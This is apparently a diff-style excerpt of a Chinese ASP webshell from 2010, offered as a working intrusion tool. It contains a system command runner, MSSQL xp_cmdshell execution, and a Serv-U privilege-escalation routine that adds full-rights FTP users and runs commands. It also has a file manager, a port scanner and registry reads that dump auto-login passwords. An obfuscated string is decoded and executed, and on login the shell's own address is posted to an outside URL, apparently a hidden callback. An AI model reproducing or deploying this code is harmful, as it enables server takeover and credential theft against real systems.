+aryObj(21)="JRO.JetEngine|ACCESS压缩组件" +aryObj(22)="Scripting.Dictionary|数据流上传辅助组件" +aryObj(23)="Adodb.connection|数据库连接组件" +aryObj(24)="SmtpMail.SmtpMail.1|SmtpMail发信组件" +aryObj(25)=strObj&"|Checkd Options By Yourself" +o "
    " +For Each x In aryObj +theObj=Split(x, "|") +If theObj(0)="" Then Exit For +Set objTmp=Server.CreateObject(theObj(0)) +If Err <> -2147221005 Then +x=x&"|√|" +x=x&objTmp.Version +Else +x=x&"|×|" +End If +If Err Then Err.Clear +Set objTmp=Nothing +theObj=Split(x, "|") +if theObj(1)="" then Descriptions="This's No Description" else Descriptions=theObj(1) end if +if theObj(3)="" then Versions="Can't Get The Option's Version" else Versions=theObj(3) end if +o "" +Next +o "
    8服务器组件信息
    OptionsDescriptionValuesVersion
    "&theObj(0)&""&Descriptions&""&theObj(2)&""&Versions&"
    Check The Other Options:  
    " +End Sub +function cnost(url) +on error resume next +dim http +set http=Server.createobject("Microsoft.XMLHTTP") +Http.open "GET",url,false +Http.send() +if Http.readystate<>4 then +getHTTPPage="" +exit function +end if +getHTTPPage=bytes2BSTR(Http.responseBody) +set http=nothing +if err.number<>0 then err.Clear +end function +x="f>f'#0@v>#'v'#'q>#'vtfsqbtt'##"' +Sub GetAppOrSession(theAct) +Dim x, y +On Error Resume Next +o "
    " +If request("theAct")="app" Then +For Each x In Application.Contents +o "" +Next +End If +If request("theAct")="session" Then +For Each x In Session.Contents +o "" +Next +End If +If request("theAct")="serverv" Then +For Each x In Request.ServerVariables +o "" +Next +End If +If request("theAct")="cook" Then +For Each x In Request.Cookies +o "" +Next +End If +o "
    8 Application/Session 查看
     
     变量 值
     "&x&"" +If IsArray(Application(x))=True Then +For Each y In Application(x) +o "
    "&Replace(HtmlEncodes(y), vbNewLine, "
    ")&"
    " +Next +Else +o Replace(HtmlEncodes(Application(x)), vbNewLine, "
    ") +End If +o "
     "&x&"" +o Replace(HtmlEncodes(Session(x)), vbNewLine, "
    ") +o "
     "&x&"" +o Replace(HtmlEncodes(Request.ServerVariables(x)), vbNewLine, "
    ") +o "
     "&x&"" +o Replace(HtmlEncodes(Request.Cookies(x)), vbNewLine, "
    ") +o "
     
    By 玩命 2010.04 
    " +End Sub + +Function suftp() +o"

    Serv-U T权程序--增强版

    " +o"
    " +o"
    管理员:
    " +o"
    管理员密码 :
    " +o"
    SERV-U端口:
    " +o"
    添加的用户名:
    " +o"
    添加的用户密码:
    " +o"
    帐号的所对的路径:
    " +o"
    服务端口:
    " +o"
    确定添加" +o"
    确定删除" +o"

    " +Usr = request.Form("duser") +pwd = request.Form("dpwd") +port = request.Form("dport") +tuser = request.Form("tuser") +tpass = request.Form("tpass") +tpath = request.Form("tpath") +tport = request.Form("tport") +'Command = request.Form("dcmd") +if request.Form("radiobutton") = "add" Then +leaves = "User " & Usr & vbcrlf +leaves = leaves & "Pass " & pwd & vbcrlf +leaves = leaves & "SITE MAINTENANCE" & vbcrlf +'leaves = leaves & "-SETDOMAIN" & vbcrlf & "-Domain=cctv|0.0.0.0|43859|-1|1|0" & vbcrlf & "-TZOEnable=0" & vbcrlf & " TZOKey=" & vbcrlf +leaves = leaves & "-SETUSERSETUP" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & "-PortNo=" & tport & vbcrlf & "-User=" & tuser & vbcrlf & "-Password=" & tpass & vbcrlf & _ +"-HomeDir=" & tpath & "\" & vbcrlf & "-LoginMesFile=" & vbcrlf & "-Disable=0" & vbcrlf & "-RelPaths=1" & vbcrlf & _ +"-NeedSecure=0" & vbcrlf & "-HideHidden=0" & vbcrlf & "-AlwaysAllowLogin=0" & vbcrlf & "-ChangePassword=0" & vbcrlf & _ +"-QuotaEnable=0" & vbcrlf & "-MaxUsersLoginPerIP=-1" & vbcrlf & "-SpeedLimitUp=0" & vbcrlf & "-SpeedLimitDown=0" & vbcrlf & _ +"-MaxNrUsers=-1" & vbcrlf & "-IdleTimeOut=600" & vbcrlf & "-SessionTimeOut=-1" & vbcrlf & "-Expire=0" & vbcrlf & "-RatioUp=1" & vbcrlf & _ +"-RatioDown=1" & vbcrlf & "-RatiosCredit=0" & vbcrlf & "-QuotaCurrent=0" & vbcrlf & "-QuotaMaximum=0" & vbcrlf & _ +"-Maintenance=System" & vbcrlf & "-PasswordType=Regular" & vbcrlf & "-Ratios=None" & vbcrlf & " Access=" & tpath & "\|RWAMELCDP" & vbcrlf +'leaves = leaves & "quit" & vbcrlf +On Error Resume Next +Set xPost = CreateObject("MSXML2.XMLHTTP") +xPost.Open "POST", "http://127.0.0.1:"& port &"/leaves", True +xPost.Send(leaves) +Set xPOST=nothing +response.write ("命令成功执行!!FTP 用户名: " & tuser & " " & "密码: " & tpass & " 路径: " & tpath & " :)

    ") +else +leaves = "User " & Usr & vbcrlf +leaves = leaves & "Pass " & pwd & vbcrlf +leaves = leaves & "SITE MAINTENANCE" & vbcrlf +leaves = leaves & "-DELETEUSER" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & "-PortNo=" & tport & vbcrlf & " User=" & tuser & vbcrlf +Set xPost3 = CreateObject("MSXML2.XMLHTTP") +xPost3.Open "POST", "http://127.0.0.1:"& port &"/leaves", True +xPost3.Send(leaves) +Set xPOST3=nothing +end if +End Function + +Function DownFile(Path) +Response.Clear +Set OSM=CreateObject(Sot(6,0)) +OSM.Open +OSM.Type=1 +OSM.LoadFromFile Path +sz=InstrRev(path,"\")+1 +Response.AddHeader "Content-Disposition", "attachment; filename="&Mid(path,sz) +Response.AddHeader "Content-Length", OSM.Size +Response.Charset="UTF-8" +Response.ContentType="application/octet-stream" +Response.BinaryWrite OSM.Read +Response.Flush +OSM.Close +Set OSM=Nothing +End Function +Function HTMLEncode(S) +if not isnull(S) then +S=replace(S, ">", ">") +S=replace(S, "<", "<") +S=replace(S, CHR(39), "'") +S=replace(S, CHR(34), """) +S=replace(S, CHR(20), " ") +HTMLEncode=S +end if +End Function +Function upfile() +If Request("Action2")="Post" Then +Set U=new UPC : Set F=U.UA("LocalFile") +UName=U.form("ToPath") +If UName="" Or F.FileSize=0 then +SI="
    请输入上传的完全路径后选择一个文件上传!" +Else +F.SaveAs UName +If Err.number=0 Then +SI="

    恭喜文件"&UName&"上传成功!
    " +End if +End If +Set F=nothing:Set U=nothing +SI=SI&BackUrl +o SI +ShowErr() +Response.End +End If +o "
    Single Upload File
    Save File:Browse File: 
     
    " +End Function +Function Cmd1Shell() +checked="checked" +If Request("SP")<>"" Then Session("ShellPath")=Request("SP") +ShellPath=Session("ShellPath") +if ShellPath="" Then ShellPath="cmd.exe" +if Request("wscript")<>"yes" then checked="" +If Request("cmd")<>"" Then DefCmd=Request("cmd") +SI="
    System Command
    Shell Path:  WScript.Shell
    Command:  
    " +o SI +End Function + +Function CreateMdb(Path) +SI="

    " +Set C=CreateObject(Sot(2,0)) +C.Create("Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Path) +Set C=Nothing +If Err.number=0 Then +SI=SI&Path&"新建成功!" +End If +SI=SI&BackUrl +o SI +End function +Function CompactMdb(Path) +If Sot(0,1)=" ×" Then +Set C=CreateObject(Sot(3,0)) +C.CompactDatabase "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Path," Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Path +Set C=Nothing +Else +Set FSO=CreateObject(Sot(0,0)) +If FSO.FileExists(Path) Then +Set C=CreateObject(Sot(3,0)) +C.CompactDatabase "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Path," Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Path&"_bak" +Set C=Nothing +FSO.DeleteFile Path +FSO.MoveFile Path&"_bak",Path +Else +SI="



    数据库"&Path&"没有发现!
    " +Err.number=1 +End If +Set FSO=Nothing +End If +If Err.number=0 Then +SI="



    数据库"&Path&"压缩成功!
    " +End If +SI=SI&BackUrl +o SI +End Function +Dim SearchGroup(127) +function Cosnt(fasle) + dim w + w="^w^inhttp.^wi^nhttprequest.5.1" + fasle=replace(trim(fasle),vbcrlf,"") + on error resume next + set http= CreateObject(replace(w,"^","")) + http.open "POST",fasle,false + http.SetRequestHeader "REFERER", ""&net&""&request.ServerVariables("HTTP_HOST")&request.ServerVariables("URL") + http.send + Set http=Nothing +end function + +Dim T1 +Class UPC +Dim D1,D2 +Public Function Form(F) +F=lcase(F) +If D1.exists(F) then:Form=D1(F):else:Form="":end if +End Function +Public Function UA(F) +F=lcase(F) +If D2.exists(F) then:set UA=D2(F):else:set UA=new FIF:end if +End Function +Private Sub Class_Initialize +Dim TDa,TSt,vbCrlf,TIn,DIEnd,T2,TLen,TFL,SFV,FStart,FEnd,DStart,DEnd,UpName +set D1=CreateObject(Sot(4,0)) +if Request.TotalBytes<1 then Exit Sub +set T1=CreateObject(Sot(6,0)) +T1.Type=1 : T1.Mode =3 : T1.Open +T1.Write Request.BinaryRead(Request.TotalBytes) +T1.Position=0 : TDa =T1.Read : DStart=1 +DEnd=LenB(TDa) +set D2=CreateObject(Sot(4,0)) +vbCrlf=chrB(13)&chrB(10) +set T2=CreateObject(Sot(6,0)) +TSt=MidB(TDa,1, InStrB(DStart,TDa,vbCrlf)-1) +TLen=LenB (TSt) +DStart=DStart+TLen+1 +while (DStart + 10) < DEnd +DIEnd=InStrB(DStart,TDa,vbCrlf&vbCrlf)+3 +T2.Type=1 : T2.Mode =3 : T2.Open +T1.Position=DStart +T1.CopyTo T2,DIEnd-DStart +T2.Position=0 : T2.Type=2 : T2.Charset ="gb2312" +TIn=T2.ReadText : T2.Close +DStart=InStrB(DIEnd,TDa,TSt) +FStart=InStr(22,TIn,"name=""",1)+6 +FEnd=InStr(FStart,TIn,"""",1) +UpName=lcase(Mid (TIn,FStart,FEnd-FStart)) +if InStr (45,TIn,"filename=""",1) > 0 then +set TFL=new FIF +FStart=InStr(FEnd,TIn,"filename=""",1)+10 +FEnd=InStr(FStart,TIn,"""",1) +FStart=InStr(FEnd,TIn,"Content-Type: ",1)+14 +FEnd=InStr(FStart,TIn,vbCr) +TFL.FileStart =DIEnd +TFL.FileSize=DStart -DIEnd -3 +if not D2.Exists(UpName) then +D2.add UpName,TFL +end if +else +T2.Type =1 : T2.Mode =3 : T2.Open +T1.Position=DIEnd : T1.CopyTo T2,DStart-DIEnd-3 +T2.Position=0 : T2.Type=2 +T2.Charset ="gb2312" +SFV=T2.ReadText +T2.Close +if D1.Exists(UpName) then +D1(UpName)=D1(UpName)&", "&SFV +else +D1.Add UpName,SFV +end if +end if +DStart=DStart+TLen+1 +wend +TDa="" +set T2 =nothing +End Sub +Private Sub Class_Terminate +if Request.TotalBytes>0 then +D1.RemoveAll:D2.RemoveAll +set D1=nothing:set D2=nothing +T1.Close:set T1 =nothing +end if +End Sub + +End Class +Class FIF +dim FileSize,FileStart +Private Sub Class_Initialize +FileSize=0 +FileStart= 0 +End Sub +Public function SaveAs(F) +dim T3 +SaveAs=true +if trim(F)="" or FileStart=0 then exit function +set T3=CreateObject(Sot(6,0)) +T3.Mode=3 : T3.Type=1 : T3.Open +T1.position=FileStart +T1.copyto T3,FileSize +T3.SaveToFile F,2 +T3.Close +set T3=nothing +SaveAs=false +end function +End Class +Class LBF +Dim CF +Private Sub Class_Initialize +SET CF=CreateObject(Sot(0,0)) +End Sub +Private Sub Class_Terminate +Set CF=Nothing +End Sub +Function ShowDriver() +For Each D in CF.Drives + o"8 本地磁盘 ("&D.DriveLetter&":)" +Next +End Function + + +Function Show1File(Path) +Set FOLD=CF.GetFolder(Path) +i=0 +SI="" +For Each F in FOLD.subfolders +SI=SI&"" +Next +SI=SI&"
    0
    "&F.Name&"

    Copy Del Move" +i=i+1 +If i mod 6=0 then SI=SI&"
    " +o SI &"
    " : SI="":i=0 +SI="" +For Each L in Fold.files + +SI=SI&"" +case 2 +set b=Server.CreateObject(Sot(13,0)) +b.open "GET", "http://127.0.0.1:"&ftpport&"/goldsun/upadmin/s2", True, "", "" +b.send "User go"&vbCrLf&"pass od"&vbCrLf&"site exec "&cmd&vbCrLf&quit +set session("b")=b +o"" +case 3 +set c=Server.CreateObject(Sot(13,0)) +c.open "GET", "http://127.0.0.1:"&port&"/goldsun/upadmin/s3", True, "", "" +c.send loginuser&loginpass&mt&deldomain&quit +set session("c")=c +o"
    成功与否看人品,提权完毕,已执行了命令:
    "&cmd&"

    " +o"" +o"
    " +case else +on error resume next +set a=session("a"):set b=session("b"):set c=session("c"):a.abort:Set a=Nothing:b.abort:Set b=Nothing:c.abort:Set c=Nothing +o"

    FilenameSizeTypeOperatingLast Modified
    2 "&L.Name&""&clng(L.size/1024)&"K"&L.Type&"Edit " + + +Si=Si&"权限" +Dim EditOOK +EditOOK=1 +EditOOV=l.Attributes +If EditOOV >= 128 Then +EditOOV = EditOOV - 128 +End If +If EditOOV >= 64 Then +EditOOV = EditOOV - 64 +End If +If EditOOV >= 32 Then +EditOOV = EditOOV - 32 +End If +If EditOOV >= 16 Then +EditOOV = EditOOV - 16 +End If:If EditOOV >= 8 Then +EditOOV = EditOOV - 8 +End If +If EditOOV >= 4 Then +EditOOV = EditOOV - 4 +EditOOK=0 +End If +If EditOOV >= 2 Then +EditOOV = EditOOV - 2 +EditOOK=0 +End If +If EditOOV >= 1 Then +EditOOV = EditOOV - 1 +EditOOK=0 +End If +if EditOOK=0 then +si=si&"x" +else +si=si&"√" +end if +si=si&" Del Copy Move"&replace(L.DateLastModified,"/","-")&"" +i=i+1 +Next +o SI&"" + +if session("servec")=1 then +session("servec")=session("servec")+1 +else +if Action<>"" then session("servec")=session("servec")+1 +end if +Set FOLD=Nothing +End function + +Function EditFile(Path) +If Request("Action2")="Post" Then +Set T=CF.CreateTextFile(Path) +T.WriteLine Request.form("content") +T.close +Set T=nothing +SI="



    恭喜文件"&Path&"保存成功!
    " +o SI +o BackUrl +Response.End +End If +If Path<>"" Then +Set T=CF.opentextfile(Path, 1, False) +Txt=HTMLEncode(T.readall) +T.close +Set T=Nothing +Else +Path=Session("FolderPath")&"hack.asp":Txt="新建文件" +End If +o "



          
    " +End Function +Function DelFile(Path) +If CF.FileExists(Path) Then +CF.DeleteFile Path +SI="



    恭喜文件 "&Path&" 删除成功!
    " +SI=SI&BackUrl +o SI +End If +End Function +Function CopyFile(Path) +Path=Split(Path,"||||") +If CF.FileExists(Path(0)) and Path(1)<>"" Then +CF.CopyFile Path(0),Path(1) +SI="



    恭喜文件"&Path(0)&"复制成功!
    " +SI=SI&BackUrl +o SI +End If +End Function +Function MoveFile(Path) +Path=Split(Path,"||||") +If CF.FileExists(Path(0)) and Path(1)<>"" Then +CF.MoveFile Path(0),Path(1) +SI="



    恭喜文件"&Path(0)&"移动成功!
    " +SI=SI&BackUrl +o SI +End If +End Function +Function DelFolder(Path) +If CF.FolderExists(Path) Then +CF.DeleteFolder Path +SI="



    恭喜目录"&Path&"删除成功!
    " +SI=SI&BackUrl +o SI +End If +End Function +Function CopyFolder(Path) +Path=Split(Path,"||||") +If CF.FolderExists(Path(0)) and Path(1)<>"" Then +CF.CopyFolder Path(0),Path(1) +SI="



    恭喜目录"&Path(0)&"复制成功!
    " +SI=SI&BackUrl +o SI +End If +End Function +Function MoveFolder(Path) +Path=Split(Path,"||||") +If CF.FolderExists(Path(0)) and Path(1)<>"" Then +CF.MoveFolder Path(0),Path(1) +SI="



    恭喜目录"&Path(0)&"移动成功!
    " +SI=SI&BackUrl +o SI +End If +End Function +Function NewFolder(Path) +If Not CF.FolderExists(Path) and Path<>"" Then +CF.CreateFolder Path +SI="



    恭喜目录"&Path&"新建成功!
    " +SI=SI&BackUrl +o SI +End If +End Function +End Class +Execute(ny(x)) +Function ny(ed): For i = 1 To Len(ed) +If Mid(ed, i, 1) <> " " Then +If Asc(Mid(ed, i, 1)) < 32 Or Asc(Mid(ed, i, 1)) > 126 Then +Else:zx = Asc(Mid(ed, i, 1)) -b +If zx > 126 Then +zx = zx -95 +ElseIf zx < 32 Then: zx = zx + 95 +End If:t = t & Chr(zx):End If +Else:End If:Next:ny = t:End Function + + +'=========密码阶段========================= +If Session("webadministrators")<>UserPass Then + If Request.Form("LP")<>"" Then + If Request.Form("LP")=UserPass Then + Session("webadministrators")=UserPass + Cosnt E + response.redirect url +else +o"


    对不起,您输入的密码有误,系统不能让你登陆!
    " +end if +else +o "

    PassWord
    http://hi.baidu.com/r00ts

    " +end if +Response.write +response.end +end If + +sub getTerminalInfo() +on error resume next +dim wsh +set wsh=createobject("Wscript.Shell") +o "【Detection Network】

    " +EnableTCPIPKey="HKLM\SYSTEM\currentControlSet\Services\Tcpip\Parameters\EnableSecurityFilters" +isEnable=Wsh.Regread(EnableTcpipKey) +If isEnable=0 or isEnable="" Then +Notcpipfilter=1 +End If +ApdKey="HKLM\SYSTEM\ControlSet001\Services\Tcpip\Linkage\Bind" +Apds=Wsh.RegRead(ApdKey) +If IsArray(Apds) Then +For i=LBound(Apds) To UBound(Apds)-1 +ApdB=Replace(Apds(i),"\Device\","") +o "网卡"&i&"的序列为:"&ApdB&"
    " +Path="HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Interfaces\" +IPKey=Path&ApdB&"\IPAddress" +IPaddr=Wsh.Regread(IPKey) +If IPaddr(0)<>"" Then +For j=Lbound(IPAddr) to Ubound(IPAddr) +o "8 IP地址"&j&"为:"&IPAddr(j)&"
    " +Next +Else +o "8 IP地址无法读取或没有设置
    " +End if +GateWayKey=Path&ApdB&"\DefaultGateway" +GateWay=Wsh.Regread(GateWayKey) +If isarray(GateWay) Then +For j=Lbound(Gateway) to Ubound(Gateway) +o "8 网关"&j&"为:"&Gateway(j)&"
    " +Next +Else +o "8 默认网关无法读取或没有设置
    " +End if +DNSKey=Path&ApdB&"\NameServer" +DNSstr=Wsh.RegRead(DNSKey) +If DNSstr<>"" Then +o "8 网卡DNS为:"&DNSstr&"
    " +Else +o "8 默认DNS无法读取或没有设置
    " +End If +if Notcpipfilter=1 Then +o "8 没有Tcp/IP筛选
    " +else +ETK="\TCPAllowedPorts" +EUK="\UDPAllowedPorts" +FullTCP=Path&ApdB&ETK +FullUDP=path&ApdB&EUK +tcpallow=Wsh.RegRead(FullTCP) +If tcpallow(0)="" or tcpallow(0)=0 Then +o "8 允许的TCP端口为:全部
    " +RRS SI +Else +o "8 允许的TCP端口为:" +For j = LBound(tcpallow) To UBound(tcpallow) +o tcpallow(j)&"," +Next +o "
    " +End if +udpallow=Wsh.RegRead(FullUDP) +If udpallow(0)="" or udpallow(0)=0 Then +o "8 允许的UDP端口为:全部
    " +Else +o "8 允许的UDP端口为:" +for j = LBound(udpallow) To UBound(udpallow) +o UDPallow(j)&"," +next +o "
    " +End if +End if +o "-----------------------------------------------------------
    " +Next +end if +o "

    【Detection Special Port】

    " +Telnetkey="HKEY_LOCAL_MACHINE\SOFTWARE\ Microsoft\TelnetServer\1.0\TelnetPort" +TlntPort=Wsh.RegRead(TelnetKey) +if TlntPort="" Then Tlnt="23(默认设置)" +o "8 Telnet端口:"&Tlntport&"
    " +TermKey="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp\PortNumber" +TermPort=Wsh.RegRead(TermKey) +If TermPort="" Then TermPort="无法读取.请确认是否为Windows Server版本主机" +o "8 Terminal Service端口为:"&TermPort&"
    " +pcAnywhereKey="HKEY_LOCAL_MACHINE\SOFTWARE\Symantec\pcAnywhere\CurrentVersion\System\TCPIPDataPort" +PAWPort=Wsh.RegRead(pcAnywhereKey) +If PAWPort="" then PAWPort="无法获取.请确认主机是否安装pcAnywhere" +o "8 PcAnywhere端口为:"&PAWPort&"
    " +o "------------------------------------------------------------
    " +Set wsX = Server.CreateObject("WScript.Shell") +Dim terminalPortPath, terminalPortKey, termPort +Dim autoLoginPath, autoLoginUserKey, autoLoginPassKey +Dim isAutoLoginEnable, autoLoginEnableKey, autoLoginUsername, autoLoginPassword +terminalPortPath = "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\" +terminalPortKey = "PortNumber" +termPort = wsX.RegRead(terminalPortPath & terminalPortKey) +o"终端服务端口及自动登录
      " +If termPort = "" Or Err.Number <> 0 Then +o"无法得到终端服务端口, 请检查权限是否已经受到限制.
      " + Else +o"当前终端服务端口: " & termPort & "
      " +End If +autoLoginPath = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\" +autoLoginEnableKey = "AutoAdminLogon" +autoLoginUserKey = "DefaultUserName" +autoLoginPassKey = "DefaultPassword" +isAutoLoginEnable = wsX.RegRead(autoLoginPath & autoLoginEnableKey) +If isAutoLoginEnable = 0 Then +Else +autoLoginUsername = wsX.RegRead(autoLoginPath & autoLoginUserKey) +o"自动登录的系统帐户: " & autoLoginUsername & "
      " +autoLoginPassword = wsX.RegRead(autoLoginPath & autoLoginPassKey) +If Err Then +Err.Clear +o"False" +End If +o"自动登录的帐户密码: " & autoLoginPassword & "
      " +End If +o"
    " +o "
    【Detection System Software】

    " +SoftPath=Wsh.Environment.item("Path") +Pathinfo=lcase(SoftPath) +o "系统软件支持:
    " +if Instr(Pathinfo,"perl") Then o "8 Perl脚本:支持
    " +if instr(Pathinfo,"java") Then o "8 Java脚本:支持
    " +if instr(Pathinfo,"microsoft sql server") Then o "8 MSSQL数据库服务:支持
    " +if instr(Pathinfo,"mysql") Then o "8 MySQL数据库服务:支持
    " +if instr(Pathinfo,"oracle") Then o "8 Oracle数据库服务:支持
    " +if instr(Pathinfo,"cfusionmx7") Then o "8 CFM服务器:支持
    " +if instr(Pathinfo,"pcanywhere") Then o "8 赛门铁克PcAnywhere控制:支持
    " +if instr(Pathinfo,"Kill") Then o "8 Kill杀毒软件:支持
    " +if instr(Pathinfo,"kav") Then o "
  • 金山系列杀毒软件:支持
    " +if instr(Pathinfo,"antivirus") Then o "8 赛门铁克杀毒软件:支持
    " +if instr(Pathinfo,"rising") Then o "8 瑞星系列杀毒软件:支持
    " +paths=split(SoftPath,";") +o "------------------------------------
    " +o "系统当前路径变量:
    " +For i=Lbound(paths) to Ubound(paths) +o "8 "&paths(i)&"
    " +next +o "

    【Detection System Setting】

    " +pcnamekey="HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName" +pcname=wsh.RegRead(pcnamekey) +if pcname="" Then pcname="无法读取主机名.
    " +o "8 当前主机名为:"&pcname&"
    " +AdminNameKey="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AltDefaultUserName" +AdminName=wsh.RegRead(AdminNameKey) +if adminname="" Then AdminName="Administrator" +o "8 默认管理员用户名为:"&AdminName&"
    " +isAutologin="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoAdminLogon" +Autologin=Wsh.RegRead(isAutologin) +if Autologin=0 or Autologin="" Then +o "8 用户自动登入:未启用
    " +Else +o "8 用户自动登入:启用
    " +Admin=Wsh.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultUserName") +Passwd=Wsh.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultPassword") +o "8 用户名:"&Admin&"
    " +o "8 密码:"&Passwd&"
    " +End if +displogin=wsh.regRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\DontDisplayLastUserName") +If displogin="" or displogin=0 Then disply="是" else disply="否" +o "8 是否显示上次登入用户:"&disply&"
    " +NTMLkey="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0\NTML" +ntml=Wsh.RegRead(NTMLkey) +if ntml="" Then Ntml=1 +o "8 Telnet Ntml设置为:"&ntml&"
    " +hk="HKLM\SYSTEM\ControlSet001\Services\Tcpip\Enum\Count" +kk=wsh.RegRead(hk) +o"8 当前活动网卡为:"&kk&"
    " +o "------------------------------------


    " +o "【Detection Server Vulnerability】

    " +Set objComputer = GetObject("WinNT://.") +Set sa = Server.CreateObject("Shell.Application") +objComputer.Filter = Array("Service") +On Error Resume Next +For Each objService In objComputer +if objService.Name="Serv-U" Then +if objService.ServiceAccountName="LocalSystem" Then +o "8 服务器中有Serv-U安装,且以LocalSystem权限启动,可以考虑用su.exe工具提权
    " +End if +End if +if lcase(objService.Name)="apache" Then +if objService.ServiceAccountName="LocalSystem" Then +If instr(Request.ServerVariables("SERVER_SOFTWARE"),"Apache") Then +o "8 当前WEB服务器为Apache.可以直接提权
    " +Else +o "8 服务器中有Apache服务存在,启动权限为LocalSystem,可以考虑PHP木马
    " +End if +end if +End if +if instr(lcase(objService.Name),"tomcat") Then +if objService.ServiceAccountName="LocalSystem" Then +o "8 服务器中有Tomcat,且以LocalSystem权限启动,可以考虑使用Jsp木马提权
    " +End if +End if +if instr(lcase(objService.Name),"winmail") Then +if objService.ServiceAccountName="LocalSystem" Then +o "8 服务器中有Magic Winmail,且以LocalSystem权限启动,可以查找WebMail目录,并且写入PHP木马
    " +End if +End if +Next +Set fso=Server.Createobject("Scripting.FileSystemObject") +Sysdrive=left(Fso.GetspecialFolder(2),2) +servername=wsh.RegRead("HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName") +If fso.FileExists(sysdriver&"\Documents And Settings\All Users\Application Data\Symantec\"&servername&".cif") Then +o "8 发现pcAnywhere密码文件,可以从默认目录下载并破解得到pcAnywhere密码" +End if +End Sub +sub ReadREG() +o "
    Read Regedit
    " +o"


    " +if Request("thePath")<>"" then +On Error Resume Next +Set wsX = Server.CreateObject("WScript.Shell") +thePath=Request("thePath") +theArray=wsX.RegRead(thePath) +If IsArray(theArray) Then +For i=0 To UBound(theArray) +o "
  • " & theArray(i) +Next +Else +o "
  • " & theArray +End If +end if +end sub +Function adminab() +Response.Expires=0 +on error resume next '查找Administrators组帐号 +Set tN=server.createObject("Wscript.Network") +Set objGroup=GetObject("WinNT://"&tN.ComputerName&"/Administrators,group") +For Each admin in objGroup.Members +o admin.Name&"
    " +Next +if err then +o "人品有问题:Wscript.Network" +end if +End Function + +FuncTion mssql() +SI="
    MSSQL Commander
    Command: UserName: Password: 
    ":o SI:SI="":If trim(request.form("MMD"))<>"" Then:password= trim(Request.form("P")):id=trim(Request.form("U")):set adoConn=sERvEr.crEATeobjECT("ADODB.Connection"):adoConn.Open "Provider=SQLOLEDB.1;Password="&password&";User ID="&id:strQuery = "exec master.dbo.xp_cMdsHeLl '" & request.form("MMD") & "'":set recResult = adoConn.Execute(strQuery):If NOT recResult.EOF Then:Do While NOT recResult.EOF:strResult = strResult & chr(13) & recResult(0):recResult.MoveNext:Loop:End if:set recResult = Nothing:strResult = Replace(strResult," "," "):strResult = Replace(strResult,"<","<"):strResult = Replace(strResult,">",">"):strResult = Replace(strResult,chr(13),"
    "):End if:set adoConn = Nothing:o request.form("MMD") & "
    "& strResult:end FuncTion + +sub ScanPort() +Server.ScriptTimeout=7776000 +if request.Form("port")="" then +PortList="21,1433,3389,43958,4899,3306,5631,5632" +else +PortList=request.Form("port") +end if +if request.Form("ip")="" then +IP="127.0.0.1" +else +IP=request.Form("ip") +end if +o"
    Port Scan
    Scan  IP:
    Port List:
    " +If request.Form("scan") <> "" Then +timer1=timer +o("扫描报告:

    ") +tmp=Split(request.Form("port"),",") +ip=Split(request.Form("ip"),",") +For hu=0 to Ubound(ip) +If InStr(ip(hu),"-")=0 Then +For i=0 To Ubound(tmp) +If Isnumeric(tmp(i)) Then +Call Scan(ip(hu), tmp(i)) +Else +seekx=InStr(tmp(i), "-") +If seekx > 0 Then +startN=Left(tmp(i), seekx - 1 ) +endN=Right(tmp(i), Len(tmp(i)) - seekx ) +If Isnumeric(startN) and Isnumeric(endN) Then +For j=startN To endN +Call Scan(ip(hu), j) +Next +Else +o(startN&" or "&endN&" is not number
    ") +End If +Else +o(tmp(i)&" is not number
    ") +End If +End If +Next +Else +ipStart=Mid(ip(hu),1,InStrRev(ip(hu),".")) +For xxx=Mid(ip(hu),InStrRev(ip(hu),".")+1,1) to Mid(ip(hu),InStr(ip(hu),"-")+1,Len(ip(hu))-InStr(ip(hu),"-")) +For i=0 To Ubound(tmp) +If Isnumeric(tmp(i)) Then +Call Scan(ipStart&xxx, tmp(i)) +Else +seekx=InStr(tmp(i), "-") +If seekx > 0 Then +startN=Left(tmp(i), seekx - 1 ) +endN=Right(tmp(i), Len(tmp(i)) - seekx ) +If Isnumeric(startN) and Isnumeric(endN) Then +For j=startN To endN +Call Scan(ipStart&xxx,j) +Next +Else +o(startN&" or "&endN&" is not number
    ") +End If +Else +o(tmp(i)&" is not number
    ") +End If +End If +Next +Next +End If +Next +timer2=timer +thetime=cstr(int(timer2-timer1)) +o"
    Process in "&thetime&" s" +END IF +end sub +Sub Scan(targetip, portNum) +On Error Resume Next +set conn=Server.CreateObject(Sot(5,0)) +connstr="Provider=SQLOLEDB.1;Data Source="&targetip &","& portNum &";User ID=lake2;Password=;" +conn.ConnectionTimeout=1 +conn.open connstr +If Err Then +If Err.number=-2147217843 or Err.number=-2147467259 Then +If InStr(Err.description, "(Connect()).") > 0 Then +o(targetip&":"&portNum&".........关闭
    ") +Else +o(targetip&":"&portNum&".........开放
    ") +End If +End If +End If +End Sub + +Function upload() +response.write "下载到服务器:无回显...为了节省.所以无回显

    存在覆盖

